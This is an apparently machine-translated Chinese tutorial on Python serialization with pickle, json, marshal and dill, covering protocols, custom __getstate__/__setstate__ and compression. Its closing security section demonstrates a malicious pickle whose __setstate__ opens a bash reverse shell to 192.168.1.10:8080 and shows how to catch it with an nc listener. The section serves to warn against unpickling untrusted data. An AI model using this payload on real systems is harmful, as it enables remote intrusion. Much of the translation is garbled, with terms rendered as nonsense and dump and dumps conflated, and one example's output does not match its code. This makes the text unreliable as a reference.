您的位置:

Python 的pickle模块

开发人员有时可能希望通过网络发送一些复杂的对象命令,并将对象的内部状态保存到磁盘或数据库中,以便以后使用。为了实现这一点,开发人员可以使用标准库支持的序列化过程,这是 Python pickle模块的原因。

在本教程中,我们将讨论对象的序列化和反序列化,以及用户应该使用哪个模块来序列化 python 中的对象。对象的种类可以通过使用 python 中的 pickle模块来序列化。我们还将解释如何使用 pickle模块序列化对象层次结构,以及开发人员在从不受信任的来源反序列化对象时可能面临哪些风险?

Python 中的序列化

序列化的过程是将数据结构转换成线性形式,可以通过网络存储或传输。

在 Python 中,序列化允许开发人员将复杂的对象结构转换成可以保存在磁盘中或可以通过网络发送的字节流。开发者可以把这个过程称为编组。而反序列化是序列化的反向过程,用户获取字节流并将其转换为数据结构。这个过程可以称为解组。

开发人员可以在许多不同的情况下使用序列化。其中之一是在处理完训练阶段后保存神经网络的内部状态,这样他们以后就可以使用该状态,而不必再次进行训练。

在 Python 中,标准库中有三个模块,允许开发人员序列化和反序列化对象:

  1. 泡菜模块
  2. 编组模块
  3. json 模块

Python 还支持 XML ,开发人员可以使用它来序列化对象。

json 模块是三个模块中的最新模块。这允许开发人员在标准 JSON 文件旁边工作。Json 是最适合也是最常用的数据交换格式。

选择 JSON 格式的原因有很多:

  • 它是人类可读的
  • 它是独立于语言的
  • 它比 XML 更轻

使用 json Module,开发人员可以序列化和反序列化不同的标准 Python 类型:

  • 目录
  • 字典
  • 线
  • (同 Internationalorganizations)国际组织
  • 元组
  • 弯曲件
  • 漂浮物
  • 没有人

这三个模块中最老的模块是封送模块。它的主要目的是读写 Python 模块的编译字节码。解释器导入 Python 模块时开发人员得到的 pyc 文件。因此,开发人员可以使用封送模块来序列化不建议使用的对象。

Python 的 pickle模块是 Python 中序列化和反序列化对象的另一种方法。这不同于 json 模块。该对象以二进制格式序列化,其结果不可读。尽管如此,它比其他类型更快,并且可以与许多其他 python 类型一起工作,包括开发人员的自定义对象。

因此,开发人员可以使用许多不同的方法来序列化和反序列化 Python 中的对象。总结哪种方法适合开发人员的情况的三个重要准则是:

  1. 不要使用封送模块,因为它主要由解释器使用。官方文档警告说,Python 的维护者可以修改向后不兼容类型的格式。
  2. 如果开发人员想要与不同语言和人类可读格式的互操作性,XML 和 json 模块是安全的选择。
  3. Python pickle模块是所有剩余案例的最佳选择。假设开发人员不想要人类可读的格式和标准的可互操作的格式。它们需要序列化自定义对象。然后他们可以选择泡菜模块。

泡菜模块内部

python 的 pickle模块包含四种方法:

  1. 转储(对象、文件、协议=无,*修复导入=真,缓冲回调=无)
  2. 转储(对象,协议=无,*修复 导入=真,缓冲区 回调=无)
  3. 加载(文件,* fix _ imports = True,编码=“ASCII”,错误=“严格”,缓冲区=无)
  4. 加载(bytesobject,* fix imports = True,编码=“ASCII”,错误=“严格”,缓冲区=无)

前两种方法用于酸洗过程,后两种方法用于拆线过程。

dump()和 dump()的区别在于 dump()创建包含序列化结果的文件,而 dump()返回字符串。

对于 dump()和 dump()的区别,开发人员可以记住,在 dump()函数中,“s”代表字符串。

相同的概念可以应用于 load()和 loads()函数。load()函数用于为取消锁定过程读取文件,loads()函数对字符串进行操作。

假设用户有一个名为的自定义类,例如 _class ,它有许多不同的属性,每个属性都有不同的类型:

  • 数字
  • 字符串
  • 列表
  • 字典
  • 元组

下面的示例解释了用户如何实例化该类并提取实例来获取普通字符串。对类进行酸洗后,用户可以修改其属性值,而不会影响酸洗后的字符串。用户随后可以在另一个变量中解开之前被腌制的字符串,并恢复腌制类的副本。

例如:


# pickle.py
import pickle

class forexample_class:
    the_number = 25
    the_string = " hello"
    the_list = [ 1, 2, 3 ]
    the_dict = { " first ": " a ", " second ": 2, " third ": [ 1, 2, 3 ] }
    the_tuple = ( 22, 23 )

user_object = forexample_class()

user_pickled_object = pickle.dumps( user_object )  # here, user is Pickling the object
print( f" This is user's pickled object: \n { user_pickled_object } \n " )

user_object.the_dict = None

user_unpickled_object = pickle.loads( user_pickled_object )  # here, user is Unpickling the object
print(
    f" This is the_dict of the unpickled object: \n { user_unpickled_object.the_dict } \n " )

输出:

This is user's pickled object: 
 b' \x80 \x04 \x95$ \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x8c \x08__main__ \x94 \x8c \x10forexample_class \x94 \x93 \x94) \x81 \x94\. ' 

 This is the_dict of the unpickled object: 
 {' first ': ' a ', ' second ': 2, ' third ': [ 1, 2, 3 ] } 

示例-

解释

这里,酸洗的过程已经正确结束,它将用户的整个实例存储在字符串中:b ' \ X80 \ x04 \ x95 $ \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x8c \ x08 main \ x94 \ x8c \ x10forexample _ class \ x94 \ x93 \ x94)\ x81 \ x94 '完成酸洗过程后,用户可以更改其原始对象,使 _dict 属性等于无。

现在,用户可以将字符串解固定到全新的实例中。当用户从酸洗对象的过程开始时获得其原始对象结构的深度副本时。

Python 中 pickle模块的协议格式

pickle模块是 python 特有的,它的结果只能被另一个 python 程序读取。虽然开发人员可能正在使用 python,但他们应该知道 pickle模块现在已经很先进了。

这意味着,如果开发人员已经用 python 的某个特定版本修改了对象,他们可能无法用以前的版本解除对象的锁定。

这种兼容性取决于开发人员在酸洗过程中使用的协议版本。

python 的 pickle模块可以使用六种不同的协议。拆封最新 python 解释器的要求与协议版本的高度成正比。

  1. 协议版本 0 - 是第一个版本。它不像其他协议那样是人类可读的
  2. 协议版本 1 - 它是第一个二进制格式。
  3. 协议版本 2 - 在 Python 2.3 中引入。
  4. 协议版本 3 - 在 Python 3.0 中加入。Python 2.x 版本无法解除锁定。
  5. 协议版本 4 - 在 Python 3.4 中加入。它支持更大范围的对象大小和类型,并且是从 Python 3.8 开始的默认协议。
  6. 协议版本 5 - 在 Python 3.8 中加入。它支持带外数据,并提高了带内数据的速度。

要选择特定的协议,开发人员必须在调用 dump()、dump()、load()或 loads()函数时指定协议版本。如果他们没有指定协议,他们的解释器将使用泡菜中指定的默认版本。DEFAULT_PROTOCOL 属性。

可摘和不可摘的类型

我们已经讨论过,python 的 pickle模块可以序列化比 json 模块多得多的类型,尽管并非所有东西都是可挑选的。

可解锁对象的列表还包含数据库连接、正在运行的线程、打开的网络套接字以及许多其他内容。

如果用户被不可拆卸的物体卡住了,那么他们就没什么办法了。他们的第一个选择是使用第三部分库,例如 dill 。

莳萝库可以扩展泡菜的功能。这个库可以让用户序列化更少的常见类型,如带有 yields 的函数、lambdas、嵌套函数等等。

为了测试这个模块,用户可以尝试修改 lambda 函数。

例如:


# pickle_error.py
import pickle

squaring = lambda x : x * x
user_pickle = pickle.dumps( squaring )

如果用户试图运行这段代码,他们会得到一个异常,因为 python 的 pickle模块不能序列化 lambda 函数。

输出:

PicklingError                             Traceback (most recent call last)
<ipython-input-9-1141f36c69b9> in <module>
      3 
      4 squaring = lambda x : x * x
----> 5 user_pickle = pickle.dumps(squaring)

PicklingError: Can't pickle <function <lambda> at 0x000001F1581DEE50>: attribute lookup <lambda> on __main__ failed

现在,如果用户用莳萝库替换 pickle模块,他们就能看出区别。

例如:


# pickle_dill.py
import dill

squaring = lambda x: x * x
user_pickle = dill.dumps( squaring )
print( user_pickle )

运行上述程序后,用户可以看到 dill 库已经序列化了 lambda 函数,没有任何错误。

输出:

b' \x80 \x04 \x95 \xb2 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x8c \ndill._dill \x94 \x8c \x10_create_function \x94 \x93 \x94 ( h \x00 \x8c \x0c_create_code \x94 \x93 \x94 ( K \x01K \x00K \x00K \x01K \x02KCC \x08| \x00| \x00 \x14 \x00S \x00 \x94N \x85 \x94 ) \x8c \x01x \x94 \x85 \x94 \x8c \x1f< ipython-input-11-30f1c8d0e50d > \x94 \x8c \x08< lambda > \x94K \x04C \x00 \x94 ) )t \x94R \x94c__builtin__ \n__main__ \nh \nNN } \x94Nt \x94R \x94\. '

dill 库还有一个有趣的特性,比如它可以序列化整个解释器会话。

例如:


squaring = lambda x : x * x
p = squaring( 25 )
import math
q = math.sqrt ( 139 )
import dill
dill.dump_session( ' testing.pkl ' )
exit()

在上面的例子中,用户启动了解释器,导入了模块,然后定义了 lambda 函数和一些其他变量。然后,他们导入了 dill 库,并调用 dump_session()函数来序列化整个会话。

如果用户已经正确运行了代码,那么他们将会在当前目录中获得 testing.pkl 文件。

输出:

$ ls testing.pkl
4 [email protected] 1 dave  staff  493 Feb  12 09:52 testing.pkl

现在,用户可以启动解释器的新实例,并加载 testing.pkl 文件,以便进行最后一次会话。

例如:


globals().items()

输出:

dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) , ( ' _ih ' , [ ' ' , ' globals().items() ' ] ) , ( ' _oh ' , {} ) , ( ' _dh ' , [ ' C:\\Users \\User Name \\AppData \\Local \\Programs \\Python \\Python39 \\Scripts ' ] ) , ( ' In ' , [ ' ' , ' globals().items() ' ] ) , ( ' Out ' , {} ) , ( ' get_ipython ' , < bound method InteractiveShell.get_ipython of < ipykernel.zmqshell.ZMQInteractiveShell object at 0x000001E1CDD8DDC0 > > ) , ( ' exit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' quit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' _ ' , ' ' ) , ( ' __ ' , ' ' ) , ( ' ___ ' , ' ' ) , ( ' _i ' , ' ' ) , ( ' _ii ' , ' ' ) , ( ' _iii ' , ' ' ) , ( ' _i1 ' , ' globals().items() ' ) ] )

import dill
dill.load_session( ' testing.pkl ' )
globals().items()

输出:

dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) , ( ' _ih ' , [ ' ' , " squaring = lambda x : x * x \na = squaring( 25 ) \nimport math \nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ] ) , ( ' _oh ' , {} ) , ( ' _dh ' , [ ' C:\\ Users\\ User Name \\AppData \\Local \\Programs \\Python \\Python39 \\Scripts ' ] ) , ( ' In ' , [ ' ' , " squaring = lambda x : x * x \np = squaring( 25 ) \nimport math\nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ] ) , ( ' Out ' , {} ) , ( ' get_ipython ' , < bound method InteractiveShell.get_ipython of < ipykernel.zmqshell.ZMQInteractiveShell object at 0x000001E1CDD8DDC0 > > ) , ( ' exit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' quit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' _ ' , ' ' ) , ( ' __ ' , ' ' ) , ( ' ___ ' , ' ' ) , ( ' _i ' , ' ' ) , ( ' _ii ' , ' ' ) , ( ' _iii ' , ' ' ) , ( ' _i1 ' , " squaring = lambda x : x * x \np = squaring( 25 ) \nimport math \nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ) , ( ' _1 ' , dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) 

p

输出:

625

q

输出:

22.0

squaring

输出:

(x)> 

这里,第一个全局变量是()。item()语句揭示了解释器处于初始状态,这意味着开发人员必须导入 dill 库并调用 load_session()来恢复他们的序列化解释器会话。

开发人员应该记住,如果他们使用的是 dill 库而不是 pickle模块,那么这个标准库不包括 dill 库。它比泡菜模块慢。

Dill 库可以序列化比 pickle模块更广泛的对象,但它不能解决开发人员可能面临的所有序列化问题。如果开发人员想要序列化包含数据库连接的对象,那么他们就不能使用 dill 库。这是 dill 库的未序列化对象。

这个问题的解决方案是在序列化过程中排除对象,以便在对象被反序列化后重新初始化连接。

开发人员可以使用 getstate()来定义哪些对象应该包含在酸洗过程中等等。这个方法允许开发人员指定他们想要腌制什么。如果它们不覆盖 getstate(),那么将使用 dict(),这是一个默认实例。

在下面的示例中,用户用几个属性定义了类,然后使用 getstate()排除了序列化过程的一个属性。

例如:


# custom_pickle.py

import pickle

class foobar:
    def __init__( self ):
        self.p = 25
        self.q = " testing "
        self.r = lambda x: x * x

    def __getstate__( self ):
        attribute = self.__dict__.copy()
        del attribute[ 'r' ]
        return attribute

user_foobar_instance = foobar()
user_pickle_string = pickle.dumps( user_foobar_instance )
user_new_instance = pickle.loads( user_pickle_string )

print( user_new_instance.__dict__ )

在上面的例子中,用户已经创建了具有三个属性的对象,其中一个属性是 lambda,它是 pickle模块的一个不可解锁的对象。为了解决这个问题,他们在 getstate()中指定了 pickle 的属性。用户已经克隆了实例的 whole dict 来定义类中的所有属性,然后他们删除了不可锁定的属性“r”。

运行此代码并反序列化对象后,用户可以看到新实例不包含“r”属性。

输出:

{'p': 25, 'q': ' testing '}

但是,如果用户想要在取消锁定过程中进行额外的初始化,例如将排除的“r”属性添加回反序列化的实例。他们可以通过使用 setstate()函数来实现这一点。

例如:


# custom_unpickle.py
import pickle

class foobar:
    def __init__( self ):
        self.p = 25
        self.q = " testing "
        self.r = lambda x: x * x

    def __getstate__( self ):
        attribute = self.__dict__.copy()
        del attribute[ 'r' ]
        return attribute

    def __setstate__(self, state):
        self.__dict__ = state
        self.c = lambda x: x * x

user_foobar_instance = foobar()
user_pickle_string = pickle.dumps( user_foobar_instance )
user_new_instance = pickle.loads( user_pickle_string )
print( user_new_instance.__dict__ )

在这里,绕过排除属性“r”到 setstate(),用户确保了对象将出现在取消锁定字符串的 dict 中。

输出:

{' p ': 25, ' q ': ' testing ', ' r ': < function foobar.__setstate__.< locals >.< lambda > at 0x000001F2CB063700 > }

泡菜对象的压缩

pickle 数据格式是对象结构的紧凑二进制表示,但是用户仍然可以通过用 bzip2 或 gzip 压缩来优化他们的 pickle 字符串。

为了用 bzip2 压缩腌制的字符串,用户必须使用 bz2模块,该模块在 python 的标准库中提供。

例如,用户已经获取了字符串,并将对其进行酸洗,然后使用 bz2模块对其进行压缩。

例如:


import pickle
import bz2
user_string = """Per me si va ne la citt dolente,
per me si va ne l'etterno dolore,
per me si va tra la perduta gente.
Giustizia mosse il mio alto fattore:
fecemi la divina podestate,
la somma sapienza e 'l primo amore;
dinanzi a me non fuor cose create
se non etterne, e io etterno duro.
Lasciate ogne speranza, voi ch'intrate."""
pickling = pickle.dumps( user_string )
compressed = bz2.compress( pickling )
len( user_string )

输出:

312
len( compressed )

输出:

262

用户应该记住,较小的文件是以较慢的进程为代价的。

酸洗模块的安全问题

到目前为止,我们已经讨论了如何使用 pickle模块来序列化和反序列化 Python 中的对象。当开发人员想要将他们对象的状态保存到磁盘或通过网络传输时,序列化的过程很方便。 虽然,关于 python 的 pickle模块,还有一点开发者应该知道的,那就是它不是很安全。如前所述,我们已经讨论了 setstate()函数的使用。此方法最适合在取消锁定过程中执行更多初始化。尽管如此,它也用于在拆线过程中执行任意代码。 一个开发者没什么办法可以降低风险。基本规则是开发人员永远不要解开来自不可信来源或通过不安全网络传输的数据。为了防止攻击,用户可以使用像 hmac 这样的库对数据进行签名,并确保它没有被篡改。

例如:

看看如何解除篡改泡菜可以暴露用户的系统给攻击者。


# remote.py
import pickle
import os

class foobar:
    def __init__( self ):
        pass

    def __getstate__( self ):
        return self.__dict__

    def __setstate__( self, state ):
        # The attack is from 192.168.1.10
        # The attacker is listening on port 8080
        os.system('/bin/bash -c
                  "/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')

user_foobar = foobar()
user_pickle = pickle.dumps( user_foobar )
user_unpickle = pickle.loads( user_pickle )

示例-

在上面的例子中,解除锁定的过程已经执行了 setstate(),它将执行一个 Bash 命令,打开端口 8080 上的 192.168.1.10 系统的远程 shell。

这就是用户如何在他们的苹果电脑或 Linux 盒子上安全地测试脚本。首先,他们必须打开终端,然后使用 nc 命令列出到端口 8080 的连接。

例如:


$ nc -l 8080

这个终端是为攻击者准备的。

然后,用户必须在同一计算机系统上打开另一个终端,并执行 python 代码来拆封恶意代码。

用户必须确保他们必须将代码中的 IP 地址更改为攻击终端的 IP 地址。执行代码后,Shell 暴露给攻击者。


remote.py

现在,攻击控制台上会出现一个 bash shell。这个控制台现在可以直接在被攻击的系统上操作。

例如:


$ nc -l 8080

输出:

bash: no job control in this shell

The default interactive shell is now zsh.
To update your account to use zsh, please run ` chsh -s /bin /zsh`.
For more details, please visit https://support.apple.com /kb /HT208060.
bash-3.1$

结论:

本文讨论了如何使用 python 的不同模块来序列化和反序列化对象,以及 pickle模块为什么比其他模块更好。我们还解释了一些物体是如何无法解开的,以及我们如何避免这些物体带来的问题。